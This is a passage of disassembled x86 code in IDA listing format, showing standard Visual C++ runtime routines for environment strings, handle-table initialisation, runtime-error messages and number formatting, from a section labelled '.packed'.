		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dx, [ecx]
		test	edx, edx
		jz	short loc_42F9A5
		mov	eax, [ebp+var_8]
		add	eax, 2
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dx, [ecx]
		test	edx, edx
		jnz	short loc_42F9A3
		mov	eax, [ebp+var_8]
		add	eax, 2
		mov	[ebp+var_8], eax

loc_42F9A3:				; CODE XREF: sub_42F8F0+A8j
		jmp	short loc_42F979
; ---------------------------------------------------------------------------

loc_42F9A5:				; CODE XREF: sub_42F8F0+93j
		mov	ecx, [ebp+var_8]
		sub	ecx, [ebp+var_14]
		sar	ecx, 1
		add	ecx, 1
		mov	[ebp+var_4], ecx
		push	0
		push	0
		push	0
		push	0
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		push	0
		push	0
		call	dword_4F5450	; WideCharToMultiByte
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_42F9F4
		push	64h
		push	offset dword_43D448
		push	2
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_42FA05

loc_42F9F4:				; CODE XREF: sub_42F8F0+E4j
		mov	edx, [ebp+var_14]
		push	edx
		call	dword_4F5324	; FreeEnvironmentStringsW
		xor	eax, eax
		jmp	loc_42FB05
; ---------------------------------------------------------------------------

loc_42FA05:				; CODE XREF: sub_42F8F0+102j
		push	0
		push	0
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_18]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		push	0
		push	0
		call	dword_4F5450	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_42FA3C
		push	2
		mov	ecx, [ebp+var_18]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		mov	[ebp+var_18], 0

loc_42FA3C:				; CODE XREF: sub_42F8F0+135j
		mov	edx, [ebp+var_14]
		push	edx
		call	dword_4F5324	; FreeEnvironmentStringsW
		mov	eax, [ebp+var_18]
		jmp	loc_42FB05
; ---------------------------------------------------------------------------

loc_42FA4E:				; CODE XREF: sub_42F8F0+61j
		cmp	dword_4F35E4, 2
		jnz	loc_42FB03
		cmp	[ebp+var_18], 0
		jnz	short loc_42FA77
		call	dword_4F5320	; GetEnvironmentStrings
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_42FA77
		xor	eax, eax
		jmp	loc_42FB05
; ---------------------------------------------------------------------------

loc_42FA77:				; CODE XREF: sub_42F8F0+16Fj
					; sub_42F8F0+17Ej
		mov	eax, [ebp+var_18]
		mov	[ebp+var_C], eax

loc_42FA7D:				; CODE XREF: sub_42F8F0:loc_42FAA3j
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_42FAA5
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_42FAA3
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax

loc_42FAA3:				; CODE XREF: sub_42F8F0+1A8j
		jmp	short loc_42FA7D
; ---------------------------------------------------------------------------

loc_42FAA5:				; CODE XREF: sub_42F8F0+195j
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		push	8Fh
		push	offset dword_43D448
		push	2
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_42FAE0
		mov	eax, [ebp+var_18]
		push	eax
		call	dword_4F5328	; FreeEnvironmentStringsA
		xor	eax, eax
		jmp	short loc_42FB05
; ---------------------------------------------------------------------------

loc_42FAE0:				; CODE XREF: sub_42F8F0+1E0j
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_18]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41FBF0
		add	esp, 0Ch
		mov	ecx, [ebp+var_18]
		push	ecx
		call	dword_4F5328	; FreeEnvironmentStringsA
		mov	eax, [ebp+var_C]
		jmp	short loc_42FB05
; ---------------------------------------------------------------------------

loc_42FB03:				; CODE XREF: sub_42F8F0+165j
		xor	eax, eax

loc_42FB05:				; CODE XREF: sub_42F8F0+55j
					; sub_42F8F0+7Ej ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42F8F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FB10	proc near		; CODE XREF: sub_422100+AEp

var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_16		= dword	ptr -16h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 6Ch
		push	81h
		push	offset dword_43D450
		push	2
		push	480h
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_50], eax
		cmp	[ebp+var_50], 0
		jnz	short loc_42FB42
		push	1Bh
		call	sub_422270
		add	esp, 4

loc_42FB42:				; CODE XREF: sub_42FB10+26j
		mov	eax, [ebp+var_50]
		mov	dword_4F3780, eax
		mov	dword_4F3880, 20h
		jmp	short loc_42FB5F
; ---------------------------------------------------------------------------

loc_42FB56:				; CODE XREF: sub_42FB10+81j
		mov	ecx, [ebp+var_50]
		add	ecx, 24h
		mov	[ebp+var_50], ecx

loc_42FB5F:				; CODE XREF: sub_42FB10+44j
		mov	edx, dword_4F3780
		add	edx, 480h
		cmp	[ebp+var_50], edx
		jnb	short loc_42FB93
		mov	eax, [ebp+var_50]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp+var_50]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	edx, [ebp+var_50]
		mov	byte ptr [edx+5], 0Ah
		mov	eax, [ebp+var_50]
		mov	dword ptr [eax+8], 0
		jmp	short loc_42FB56
; ---------------------------------------------------------------------------

loc_42FB93:				; CODE XREF: sub_42FB10+5Ej
		lea	ecx, [ebp+var_48]
		push	ecx
		call	dword_4F548C	; GetStartupInfoA
		mov	edx, [ebp+var_16]
		and	edx, 0FFFFh
		test	edx, edx
		jz	loc_42FD35
		cmp	[ebp+var_16+2],	0
		jz	loc_42FD35
		mov	eax, [ebp+var_16+2]
		mov	ecx, [eax]
		mov	[ebp+var_64], ecx
		mov	edx, [ebp+var_16+2]
		add	edx, 4
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_64]
		mov	[ebp+var_60], eax
		cmp	[ebp+var_64], 800h
		jge	short loc_42FBE3
		mov	ecx, [ebp+var_64]
		mov	[ebp+var_68], ecx
		jmp	short loc_42FBEA
; ---------------------------------------------------------------------------

loc_42FBE3:				; CODE XREF: sub_42FB10+C9j
		mov	[ebp+var_68], 800h

loc_42FBEA:				; CODE XREF: sub_42FB10+D1j
		mov	edx, [ebp+var_68]
		mov	[ebp+var_64], edx
		mov	[ebp+var_5C], 1
		jmp	short loc_42FC02
; ---------------------------------------------------------------------------

loc_42FBF9:				; CODE XREF: sub_42FB10:loc_42FC9Dj
		mov	eax, [ebp+var_5C]
		add	eax, 1
		mov	[ebp+var_5C], eax

loc_42FC02:				; CODE XREF: sub_42FB10+E7j
		mov	ecx, dword_4F3880
		cmp	ecx, [ebp+var_64]
		jge	loc_42FCA2
		push	0B6h
		push	offset dword_43D450
		push	2
		push	480h
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_50], eax
		cmp	[ebp+var_50], 0
		jnz	short loc_42FC3E
		mov	edx, dword_4F3880
		mov	[ebp+var_64], edx
		jmp	short loc_42FCA2
; ---------------------------------------------------------------------------

loc_42FC3E:				; CODE XREF: sub_42FB10+121j
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_50]
		mov	dword_4F3780[eax*4], ecx
		mov	edx, dword_4F3880
		add	edx, 20h
		mov	dword_4F3880, edx
		jmp	short loc_42FC65
; ---------------------------------------------------------------------------

loc_42FC5C:				; CODE XREF: sub_42FB10+18Bj
		mov	eax, [ebp+var_50]
		add	eax, 24h
		mov	[ebp+var_50], eax

loc_42FC65:				; CODE XREF: sub_42FB10+14Aj
		mov	ecx, [ebp+var_5C]
		mov	edx, dword_4F3780[ecx*4]
		add	edx, 480h
		cmp	[ebp+var_50], edx
		jnb	short loc_42FC9D
		mov	eax, [ebp+var_50]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp+var_50]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	edx, [ebp+var_50]
		mov	byte ptr [edx+5], 0Ah
		mov	eax, [ebp+var_50]
		mov	dword ptr [eax+8], 0
		jmp	short loc_42FC5C
; ---------------------------------------------------------------------------

loc_42FC9D:				; CODE XREF: sub_42FB10+168j
		jmp	loc_42FBF9
; ---------------------------------------------------------------------------

loc_42FCA2:				; CODE XREF: sub_42FB10+FBj
					; sub_42FB10+12Cj
		mov	[ebp+var_58], 0
		jmp	short loc_42FCC6
; ---------------------------------------------------------------------------

loc_42FCAB:				; CODE XREF: sub_42FB10:loc_42FD30j
		mov	ecx, [ebp+var_58]
		add	ecx, 1
		mov	[ebp+var_58], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_60]
		add	eax, 4
		mov	[ebp+var_60], eax

loc_42FCC6:				; CODE XREF: sub_42FB10+199j
		mov	ecx, [ebp+var_58]
		cmp	ecx, [ebp+var_64]
		jge	short loc_42FD35
		mov	edx, [ebp+var_60]
		cmp	dword ptr [edx], 0FFFFFFFFh
		jz	short loc_42FD30
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42FD30
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		and	eax, 8
		test	eax, eax
		jnz	short loc_42FD00
		mov	ecx, [ebp+var_60]
		mov	edx, [ecx]
		push	edx
		call	dword_4F5314	; GetFileType
		test	eax, eax
		jz	short loc_42FD30

loc_42FD00:				; CODE XREF: sub_42FB10+1DEj
		mov	eax, [ebp+var_58]
		sar	eax, 5
		mov	ecx, [ebp+var_58]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4F3780[eax*4]
		add	edx, ecx
		mov	[ebp+var_50], edx
		mov	eax, [ebp+var_50]
		mov	ecx, [ebp+var_60]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax+4], dl

loc_42FD30:				; CODE XREF: sub_42FB10+1C4j
					; sub_42FB10+1D1j ...
		jmp	loc_42FCAB
; ---------------------------------------------------------------------------

loc_42FD35:				; CODE XREF: sub_42FB10+98j
					; sub_42FB10+A2j ...
		mov	[ebp+var_58], 0
		jmp	short loc_42FD47
; ---------------------------------------------------------------------------

loc_42FD3E:				; CODE XREF: sub_42FB10:loc_42FE1Fj
		mov	eax, [ebp+var_58]
		add	eax, 1
		mov	[ebp+var_58], eax

loc_42FD47:				; CODE XREF: sub_42FB10+22Cj
		cmp	[ebp+var_58], 3
		jge	loc_42FE24
		mov	ecx, [ebp+var_58]
		imul	ecx, 24h
		mov	edx, dword_4F3780
		add	edx, ecx
		mov	[ebp+var_50], edx
		mov	eax, [ebp+var_50]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	loc_42FE10
		mov	ecx, [ebp+var_50]
		mov	byte ptr [ecx+4], 81h
		cmp	[ebp+var_58], 0
		jnz	short loc_42FD84
		mov	[ebp+var_6C], 0FFFFFFF6h
		jmp	short loc_42FD94
; ---------------------------------------------------------------------------

loc_42FD84:				; CODE XREF: sub_42FB10+269j
		mov	edx, [ebp+var_58]
		sub	edx, 1
		neg	edx
		sbb	edx, edx
		add	edx, 0FFFFFFF5h
		mov	[ebp+var_6C], edx

loc_42FD94:				; CODE XREF: sub_42FB10+272j
		mov	eax, [ebp+var_6C]
		push	eax
		call	dword_4F549C	; GetStdHandle
		mov	[ebp+var_4C], eax
		cmp	[ebp+var_4C], 0FFFFFFFFh
		jz	short loc_42FDFF
		mov	ecx, [ebp+var_4C]
		push	ecx
		call	dword_4F5314	; GetFileType
		mov	[ebp+var_54], eax
		cmp	[ebp+var_54], 0
		jz	short loc_42FDFF
		mov	edx, [ebp+var_50]
		mov	eax, [ebp+var_4C]
		mov	[edx], eax
		mov	ecx, [ebp+var_54]
		and	ecx, 0FFh
		cmp	ecx, 2
		jnz	short loc_42FDE0
		mov	edx, [ebp+var_50]
		mov	al, [edx+4]
		or	al, 40h
		mov	ecx, [ebp+var_50]
		mov	[ecx+4], al
		jmp	short loc_42FDFD
; ---------------------------------------------------------------------------

loc_42FDE0:				; CODE XREF: sub_42FB10+2BEj
		mov	edx, [ebp+var_54]
		and	edx, 0FFh
		cmp	edx, 3
		jnz	short loc_42FDFD
		mov	eax, [ebp+var_50]
		mov	cl, [eax+4]
		or	cl, 8
		mov	edx, [ebp+var_50]
		mov	[edx+4], cl

loc_42FDFD:				; CODE XREF: sub_42FB10+2CEj
					; sub_42FB10+2DCj
		jmp	short loc_42FE0E
; ---------------------------------------------------------------------------

loc_42FDFF:				; CODE XREF: sub_42FB10+295j
					; sub_42FB10+2A8j
		mov	eax, [ebp+var_50]
		mov	cl, [eax+4]
		or	cl, 40h
		mov	edx, [ebp+var_50]
		mov	[edx+4], cl

loc_42FE0E:				; CODE XREF: sub_42FB10:loc_42FDFDj
		jmp	short loc_42FE1F
; ---------------------------------------------------------------------------

loc_42FE10:				; CODE XREF: sub_42FB10+258j
		mov	eax, [ebp+var_50]
		mov	cl, [eax+4]
		or	cl, 80h
		mov	edx, [ebp+var_50]
		mov	[edx+4], cl

loc_42FE1F:				; CODE XREF: sub_42FB10:loc_42FE0Ej
		jmp	loc_42FD3E
; ---------------------------------------------------------------------------

loc_42FE24:				; CODE XREF: sub_42FB10+23Bj
		mov	eax, dword_4F3880
		push	eax
		call	dword_4F5318	; LockResource
		mov	esp, ebp
		pop	ebp
		retn
sub_42FB10	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	dword ptr [ebp-8], 0
		jmp	short loc_42FE58
; ---------------------------------------------------------------------------

loc_42FE4F:				; CODE XREF: .packed:loc_42FED2j
		mov	eax, [ebp-8]
		add	eax, 1
		mov	[ebp-8], eax

loc_42FE58:				; CODE XREF: .packed:0042FE4Dj
		cmp	dword ptr [ebp-8], 40h
		jge	short loc_42FED7
		mov	ecx, [ebp-8]
		cmp	dword_4F3780[ecx*4], 0
		jz	short loc_42FED2
		mov	edx, [ebp-8]
		mov	eax, dword_4F3780[edx*4]
		mov	[ebp-4], eax
		jmp	short loc_42FE83
; ---------------------------------------------------------------------------

loc_42FE7A:				; CODE XREF: .packed:loc_42FEADj
		mov	ecx, [ebp-4]
		add	ecx, 24h
		mov	[ebp-4], ecx

loc_42FE83:				; CODE XREF: .packed:0042FE78j
		mov	edx, [ebp-8]
		mov	eax, dword_4F3780[edx*4]
		add	eax, 480h
		cmp	[ebp-4], eax
		jnb	short loc_42FEAF
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+8], 0
		jz	short loc_42FEAD
		mov	edx, [ebp-4]
		add	edx, 0Ch
		push	edx
		call	dword_4F53B0	; RtlDeleteCriticalSection

loc_42FEAD:				; CODE XREF: .packed:0042FE9Ej
		jmp	short loc_42FE7A
; ---------------------------------------------------------------------------

loc_42FEAF:				; CODE XREF: .packed:0042FE95j
		push	2
		mov	eax, [ebp-8]
		mov	ecx, dword_4F3780[eax*4]
		push	ecx
		call	sub_41CA10
		add	esp, 8
		mov	edx, [ebp-8]
		mov	dword_4F3780[edx*4], 0

loc_42FED2:				; CODE XREF: .packed:0042FE69j
		jmp	loc_42FE4F
; ---------------------------------------------------------------------------

loc_42FED7:				; CODE XREF: .packed:0042FE5Cj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FEE0	proc near		; CODE XREF: sub_422270+Cp
					; sub_4222A0+Cp
		push	ebp
		mov	ebp, esp
		cmp	dword_4F3428, 1
		jz	short loc_42FEFE
		cmp	dword_4F3428, 0
		jnz	short loc_42FF27
		cmp	dword_451904, 1
		jnz	short loc_42FF27

loc_42FEFE:				; CODE XREF: sub_42FEE0+Aj
		push	0FCh
		call	sub_42FF30
		add	esp, 4
		cmp	dword_4F35E8, 0
		jz	short loc_42FF1A
		call	dword_4F35E8

loc_42FF1A:				; CODE XREF: sub_42FEE0+32j
		push	0FFh
		call	sub_42FF30
		add	esp, 4

loc_42FF27:				; CODE XREF: sub_42FEE0+13j
					; sub_42FEE0+1Cj
		pop	ebp
		retn
sub_42FEE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FF30	proc near		; CODE XREF: sub_422270+15p
					; sub_4222A0+15p ...

var_1B0		= byte ptr -1B0h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], 0
		jmp	short loc_42FF4E
; ---------------------------------------------------------------------------

loc_42FF45:				; CODE XREF: sub_42FF30:loc_42FF65j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax

loc_42FF4E:				; CODE XREF: sub_42FF30+13j
		cmp	[ebp+var_8], 12h
		jnb	short loc_42FF67
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		cmp	edx, dword_454478[ecx*8]
		jnz	short loc_42FF65
		jmp	short loc_42FF67
; ---------------------------------------------------------------------------

loc_42FF65:				; CODE XREF: sub_42FF30+31j
		jmp	short loc_42FF45
; ---------------------------------------------------------------------------

loc_42FF67:				; CODE XREF: sub_42FF30+22j
					; sub_42FF30+33j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, dword_454478[eax*8]
		jnz	loc_4300E8
		cmp	[ebp+arg_0], 0FCh
		jz	short loc_42FFA4
		mov	edx, [ebp+var_8]
		mov	eax, off_45447C[edx*8]
		push	eax
		push	0
		push	0
		push	0
		push	1
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42FFA4
		int	3		; Trap to Debugger

loc_42FFA4:				; CODE XREF: sub_42FF30+51j
					; sub_42FF30+71j
		cmp	dword_4F3428, 1
		jz	short loc_42FFBF
		cmp	dword_4F3428, 0
		jnz	short loc_42FFF8
		cmp	dword_451904, 1
		jnz	short loc_42FFF8

loc_42FFBF:				; CODE XREF: sub_42FF30+7Bj
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, off_45447C[edx*8]
		push	eax
		call	sub_41BC70
		add	esp, 4
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, off_45447C[ecx*8]
		push	edx
		push	0FFFFFFF4h
		call	dword_4F549C	; GetStdHandle
		push	eax
		call	dword_4F53B4	; WriteFile
		jmp	loc_4300E8
; ---------------------------------------------------------------------------

loc_42FFF8:				; CODE XREF: sub_42FF30+84j
					; sub_42FF30+8Dj
		cmp	[ebp+arg_0], 0FCh
		jz	loc_4300E8
		push	104h
		lea	eax, [ebp+var_110]
		push	eax
		push	0
		call	dword_4F5344	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_430031
		push	offset aProgramNameUnk ; "<program name	unknown>"
		lea	ecx, [ebp+var_110]
		push	ecx
		call	sub_41F620
		add	esp, 8

loc_430031:				; CODE XREF: sub_42FF30+EBj
		lea	edx, [ebp+var_110]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41BC70
		add	esp, 4
		add	eax, 1
		cmp	eax, 3Ch
		jbe	short loc_43007A
		lea	ecx, [ebp+var_110]
		push	ecx
		call	sub_41BC70
		add	esp, 4
		mov	edx, [ebp+var_C]
		lea	eax, [edx+eax-3Bh]
		mov	[ebp+var_C], eax
		push	3
		push	offset a___	; "..."
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_41E510
		add	esp, 0Ch

loc_43007A:				; CODE XREF: sub_42FF30+11Cj
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		lea	edx, [ebp+var_1B0]
		push	edx
		call	sub_41F620
		add	esp, 8
		mov	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_1B0]
		push	ecx
		call	sub_41F630
		add	esp, 8
		push	offset asc_43CF68 ; "\n\n"
		lea	edx, [ebp+var_1B0]
		push	edx
		call	sub_41F630
		add	esp, 8
		mov	eax, [ebp+var_8]
		mov	ecx, off_45447C[eax*8]
		push	ecx
		lea	edx, [ebp+var_1B0]
		push	edx
		call	sub_41F630
		add	esp, 8
		push	12010h
		push	offset aMicrosoftVis_0 ; "Microsoft Visual C++ Runtime Library"
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_430AA0
		add	esp, 0Ch

loc_4300E8:				; CODE XREF: sub_42FF30+44j
					; sub_42FF30+C3j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42FF30	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	dword ptr [ebp-4], 0
		jmp	short loc_430106
; ---------------------------------------------------------------------------

loc_4300FD:				; CODE XREF: .packed:loc_43011Dj
		mov	eax, [ebp-4]
		add	eax, 1
		mov	[ebp-4], eax

loc_430106:				; CODE XREF: .packed:004300FBj
		cmp	dword ptr [ebp-4], 12h
		jnb	short loc_43011F
		mov	ecx, [ebp-4]
		mov	edx, [ebp+8]
		cmp	edx, dword_454478[ecx*8]
		jnz	short loc_43011D
		jmp	short loc_43011F
; ---------------------------------------------------------------------------

loc_43011D:				; CODE XREF: .packed:00430119j
		jmp	short loc_4300FD
; ---------------------------------------------------------------------------

loc_43011F:				; CODE XREF: .packed:0043010Aj
					; .packed:0043011Bj
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		cmp	ecx, dword_454478[eax*8]
		jnz	short loc_43013A
		mov	edx, [ebp-4]
		mov	eax, off_45447C[edx*8]
		jmp	short loc_43013C
; ---------------------------------------------------------------------------

loc_43013A:				; CODE XREF: .packed:0043012Cj
		xor	eax, eax

loc_43013C:				; CODE XREF: .packed:00430138j
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430140	proc near		; CODE XREF: sub_422400+13p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0
		push	2
		call	sub_423280
		add	esp, 4
		mov	[ebp+var_8], 3
		jmp	short loc_430169
; ---------------------------------------------------------------------------

loc_430160:				; CODE XREF: sub_430140:loc_430204j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax

loc_430169:				; CODE XREF: sub_430140+1Ej
		mov	ecx, [ebp+var_8]
		cmp	ecx, dword_4F4AE0
		jge	loc_430209
		mov	edx, [ebp+var_8]
		mov	eax, dword_4F3AD4
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_430204
		mov	ecx, [ebp+var_8]
		mov	edx, dword_4F3AD4
		mov	eax, [edx+ecx*4]
		mov	ecx, [eax+0Ch]
		and	ecx, 83h
		test	ecx, ecx
		jz	short loc_4301C1
		mov	edx, [ebp+var_8]
		mov	eax, dword_4F3AD4
		mov	ecx, [eax+edx*4]
		push	ecx
		call	sub_41BCF0
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4301C1
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_4301C1:				; CODE XREF: sub_430140+5Dj
					; sub_430140+76j
		cmp	[ebp+var_8], 14h
		jl	short loc_430204
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4F3AD4
		mov	edx, [ecx+eax*4]
		add	edx, 20h
		push	edx
		call	dword_4F53B0	; RtlDeleteCriticalSection
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4F3AD4
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_41CA10
		add	esp, 8
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4F3AD4
		mov	dword ptr [ecx+eax*4], 0

loc_430204:				; CODE XREF: sub_430140+44j
					; sub_430140+85j
		jmp	loc_430160
; ---------------------------------------------------------------------------

loc_430209:				; CODE XREF: sub_430140+32j
		push	2
		call	sub_423320
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_430140	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430220	proc near		; CODE XREF: sub_422610+31Dp
					; sub_434EB0+1EFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_430247
		cmp	[ebp+arg_0], 0
		jge	short loc_430247
		push	1
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_430270
		add	esp, 10h
		jmp	short loc_43025D
; ---------------------------------------------------------------------------

loc_430247:				; CODE XREF: sub_430220+7j
					; sub_430220+Dj
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_430270
		add	esp, 10h

loc_43025D:				; CODE XREF: sub_430220+25j
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_430220	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430270	proc near		; CODE XREF: sub_430220+1Dp
					; sub_430220+35p ...

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_C], 0
		jz	short loc_430299
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		neg	eax
		mov	[ebp+arg_0], eax

loc_430299:				; CODE XREF: sub_430270+10j
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx

loc_43029F:				; CODE XREF: sub_430270+79j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_8]
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_C], 9
		jbe	short loc_4302D1
		mov	edx, [ebp+var_C]
		add	edx, 57h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_4302E5
; ---------------------------------------------------------------------------

loc_4302D1:				; CODE XREF: sub_430270+49j
		mov	edx, [ebp+var_C]
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx

loc_4302E5:				; CODE XREF: sub_430270+5Fj
		cmp	[ebp+arg_0], 0
		ja	short loc_43029F
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax

loc_4302FA:				; CODE XREF: sub_430270+BCj
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[ebp+var_10], dl
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_8]
		mov	cl, [ebp+var_10]
		mov	[eax], cl
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_4]
		jb	short loc_4302FA
		mov	esp, ebp
		pop	ebp
		retn
sub_430270	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword ptr [ebp+10h], 0Ah
		jnz	short loc_430359
		cmp	dword ptr [ebp+8], 0
		jge	short loc_430359
		mov	dword ptr [ebp-4], 1
		jmp	short loc_430360
; ---------------------------------------------------------------------------

loc_430359:				; CODE XREF: .packed:00430348j
					; .packed:0043034Ej
		mov	dword ptr [ebp-4], 0

loc_430360:				; CODE XREF: .packed:00430357j
